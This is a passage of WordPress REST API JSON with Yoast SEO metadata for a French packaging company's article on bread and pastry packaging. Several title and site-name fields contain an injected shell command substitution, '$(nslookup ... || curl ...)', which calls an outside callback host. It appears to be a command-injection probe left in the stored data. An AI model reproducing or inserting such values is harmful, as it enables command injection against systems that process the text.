emballages\",\"datePublished\":\"2026-03-27T13:55:39+00:00\",\"dateModified\":\"2026-03-30T14:09:49+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187\"},\"wordCount\":1235,\"publisher\":{\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/#organization\"},\"image\":{\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/groupeguillin.fr\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/image-1.png\",\"articleSection\":[\"Informations utiles\"],\"inLanguage\":\"fr-FR\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187\",\"url\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187\",\"name\":\"Pain &amp; viennoiseries : de nouvelles habitudes qui red\u00e9finissent les besoins en emballages - $(nslookup -q=cname hitjocftbrxyr5af25.bxss.me||curl hitjocftbrxyr5af25.bxss.me)\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/groupeguillin.fr\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/image-1.png\",\"datePublished\":\"2026-03-27T13:55:39+00:00\",\"dateModified\":\"2026-03-30T14:09:49+00:00\",\"description\":\"Le Groupe GUILLIN est le r\u00e9f\u00e9rent europ\u00e9en de l'emballage alimentaire plastique, papier et carton.\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187#primaryimage\",\"url\":\"https:\\\/\\\/groupeguillin.fr\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/image-1.png\",\"contentUrl\":\"https:\\\/\\\/groupeguillin.fr\\\/wp-content\\\/uploads\\\/2026\\\/03\\\/image-1.png\",\"width\":1116,\"height\":745},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?p=22187#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Accueil\",\"item\":\"https:\\\/\\\/www.groupeguillin.fr\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Pain &amp; viennoiseries : de nouvelles habitudes qui red\u00e9finissent les besoins en emballages\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/#website\",\"url\":\"https:\\\/\\\/www.groupeguillin.fr\\\/\",\"name\":\"Groupe GUILLIN\",\"description\":\"We protect your food\",\"publisher\":{\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/www.groupeguillin.fr\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-FR\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/#organization\",\"name\":\"Groupe GUILLIN\",\"url\":\"https:\\\/\\\/www.groupeguillin.fr\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"https:\\\/\\\/www.groupeguillin.fr\\\/wp-content\\\/uploads\\\/2020\\\/09\\\/Logo-guillin-1.png\",\"contentUrl\":\"https:\\\/\\\/www.groupeguillin.fr\\\/wp-content\\\/uploads\\\/2020\\\/09\\\/Logo-guillin-1.png\",\"width\":1172,\"height\":300,\"caption\":\"Groupe GUILLIN\"},\"image\":{\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/#\\\/schema\\\/logo\\\/image\\\/\"},\"sameAs\":[\"https:\\\/\\\/www.instagram.com\\\/groupeguillin\\\/\",\"https:\\\/\\\/www.linkedin.com\\\/company\\\/guillin-emballages\\\/\",\"https:\\\/\\\/www.youtube.com\\\/channel\\\/UCS-Q4Qkgd1bN9pdIPGRjogQ\"]},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/www.groupeguillin.fr\\\/#\\\/schema\\\/person\\\/ffca20ffb59251d7b11d7e890be5602c\",\"name\":\"Ga\u00ebl Chareyre\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/58698729b976f11ac57bf8d08d786aee47db56e9d0ab450a387ac34973428815?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/58698729b976f11ac57bf8d08d786aee47db56e9d0ab450a387ac34973428815?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/58698729b976f11ac57bf8d08d786aee47db56e9d0ab450a387ac34973428815?s=96&d=mm&r=g\",\"caption\":\"Ga\u00ebl Chareyre\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Pain &amp; viennoiseries : de nouvelles habitudes qui red\u00e9finissent les besoins en emballages - $(nslookup -q=cname hitjocftbrxyr5af25.bxss.me||curl hitjocftbrxyr5af25.bxss.me)","description":"Le Groupe GUILLIN est le r\u00e9f\u00e9rent europ\u00e9en de l'emballage alimentaire plastique, papier et carton.","robots":{"index":"noindex","follow":"nofollow"},"og_locale":"fr_FR","og_type":"article","og_title":"Pain &amp; viennoiseries : de nouvelles habitudes qui red\u00e9finissent les besoins en emballages - $(nslookup -q=cname hitjocftbrxyr5af25.bxss.me||curl hitjocftbrxyr5af25.bxss.me)","og_description":"Le Groupe GUILLIN est le r\u00e9f\u00e9rent europ\u00e9en de l'emballage alimentaire plastique, papier et carton.","og_url":"https:\/\/www.groupeguillin.fr\/?p=22187","og_site_name":"$(nslookup -q=cname hitjocftbrxyr5af25.bxss.me||curl hitjocftbrxyr5af25.bxss.me)","article_published_time":"2026-03-27T13:55:39+00:00","article_modified_time":"2026-03-30T14:09:49+00:00","og_image":[{"width":1116,"height":745,"url":"https:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2026\/03\/image-1.png","type":"image\/png"}],"author":"Ga\u00ebl Chareyre","twitter_card":"summary_large_image","twitter_misc":{"\u00c9crit par":"Ga\u00ebl Chareyre","Dur\u00e9e de lecture estim\u00e9e":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/www.groupeguillin.fr\/?p=22187#article","isPartOf":{"@id":"https:\/\/www.groupeguillin.fr\/?p=22187"},"author":{"name":"Ga\u00ebl Chareyre","@id":"https:\/\/www.groupeguillin.fr\/#\/schema\/person\/ffca20ffb59251d7b11d7e890be5602c"},"headline":"Pain &amp; viennoiseries : de nouvelles habitudes qui red\u00e9finissent les besoins en emballages","datePublished":"2026-03-27T13:55:39+00:00","dateModified":"2026-03-30T14:09:49+00:00","mainEntityOfPage":{"@id":"https:\/\/www.groupeguillin.fr\/?p=22187"},"wordCount":1235,"publisher":{"@id":"https:\/\/www.groupeguillin.fr\/#organization"},"image":{"@id":"https:\/\/www.groupeguillin.fr\/?p=22187#primaryimage"},"thumbnailUrl":"https:\/\/groupeguillin.fr\/wp-content\/uploads\/2026\/03\/image-1.png","articleSection":["Informations utiles"],"inLanguage":"fr-FR"},{"@type":"WebPage","@id":"https:\/\/www.groupeguillin.fr\/?p=22187","url":"https:\/\/www.groupeguillin.fr\/?p=22187","name":"Pain &amp; viennoiseries : de nouvelles habitudes qui red\u00e9finissent les besoins en emballages - $(nslookup -q=cname hitjocftbrxyr5af25.bxss.me||curl hitjocftbrxyr5af25.bxss.me)","isPartOf":{"@id":"https:\/\/www.groupeguillin.fr\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.groupeguillin.fr\/?p=22187#primaryimage"},"image":{"@id":"https:\/\/www.groupeguillin.fr\/?p=22187#primaryimage"},"thumbnailUrl":"https:\/\/groupeguillin.fr\/wp-content\/uploads\/2026\/03\/image-1.png","datePublished":"2026-03-27T13:55:39+00:00","dateModified":"2026-03-30T14:09:49+00:00","description":"Le Groupe GUILLIN est le r\u00e9f\u00e9rent europ\u00e9en de l'emballage alimentaire plastique, papier et carton.","breadcrumb":{"@id":"https:\/\/www.groupeguillin.fr\/?p=22187#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.groupeguillin.fr\/?p=22187"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/www.groupeguillin.fr\/?p=22187#primaryimage","url":"https:\/\/groupeguillin.fr\/wp-content\/uploads\/2026\/03\/image-1.png","contentUrl":"https:\/\/groupeguillin.fr\/wp-content\/uploads\/2026\/03\/image-1.png","width":1116,"height":745},{"@type":"BreadcrumbList","@id":"https:\/\/www.groupeguillin.fr\/?p=22187#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil","item":"https:\/\/www.groupeguillin.fr\/"},{"@type":"ListItem","position":2,"name":"Pain &amp; viennoiseries : de nouvelles habitudes qui red\u00e9finissent les besoins en emballages"}]},{"@type":"WebSite","@id":"https:\/\/www.groupeguillin.fr\/#website","url":"https:\/\/www.groupeguillin.fr\/","name":"Groupe GUILLIN","description":"We protect your food","publisher":{"@id":"https:\/\/www.groupeguillin.fr\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.groupeguillin.fr\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-FR"},{"@type":"Organization","@id":"https:\/\/www.groupeguillin.fr\/#organization","name":"Groupe GUILLIN","url":"https:\/\/www.groupeguillin.fr\/","logo":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/www.groupeguillin.fr\/#\/schema\/logo\/image\/","url":"https:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2020\/09\/Logo-guillin-1.png","contentUrl":"https:\/\/www.groupeguillin.fr\/wp-content\/uploads\/2020\/09\/Logo-guillin-1.png","width":1172,"height":300,"caption":"Groupe GUILLIN"},"image":{"@id":"https:\/\/www.groupeguillin.fr\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.instagram.com\/groupeguillin\/","https:\/\/www.linkedin.com\/company\/guillin-emballages\/","https:\/\/www.youtube.com\/channel\/UCS-Q4Qkgd1bN9pdIPGRjogQ"]},{"@type":"Person","@id":"https:\/\/www.groupeguillin.fr\/#\/schema\/person\/ffca20ffb59251d7b11d7e890be5602c","name":"Ga\u00ebl Chareyre","image":{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/secure.gravatar.com\/avatar\/58698729b976f11ac57bf8d08d786aee47db56e9d0ab450a387ac34973428815?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/58698729b976f11ac57bf8d08d786aee47db56e9d0ab450a387ac34973428815?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/58698729b976f11ac57bf8d08d786aee47db56e9d0ab450a387ac34973428815?s=96&d=mm&r=g","caption":"Ga\u00ebl Chareyre"}}]}},"publishpress_future_action":{"enabled":false,"date":"2026-08-30 18:45:26","action":"change-status","newStatus":"draft","terms":[],"taxonomy":"category","extraData":[]},"publishpress_future_workflow_manual_trigger":{"enabledWorkflows":[]},"_links":{"self":[{"href":"https:\/\/www.groupeguillin.fr\/index.php?rest_route=\/wp\/v2\/posts\/22187","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.groupeguillin.fr\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.groupeguillin.fr\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.groupeguillin.fr\/index.php?rest_route=\/wp\/v2\/users\/10"}],"replies":[{"embeddable":true,"href":"https:\/\/www.groupeguillin.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=22187"}],"version-history":[{"count":7,"href":"https:\/\/www.groupeguillin.fr\/index.php?rest_route=\/wp\/v2\/posts\/22187\/revisions"}],"predecessor-version":[{"id":22495,"href":"https:\/\/www.groupeguillin.fr\/index.php?rest_route=\/wp\/v2\/posts\/22187\/revisions\/22495"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.groupeguillin.fr\/index.php?rest_route=\/wp\/v2\/media\/22195"}],"wp:attachment":[{"href":"https:\/\/www.groupeguillin.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=22187"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.groupeguillin.fr\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=22187"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.groupeguillin.fr\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=22187"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}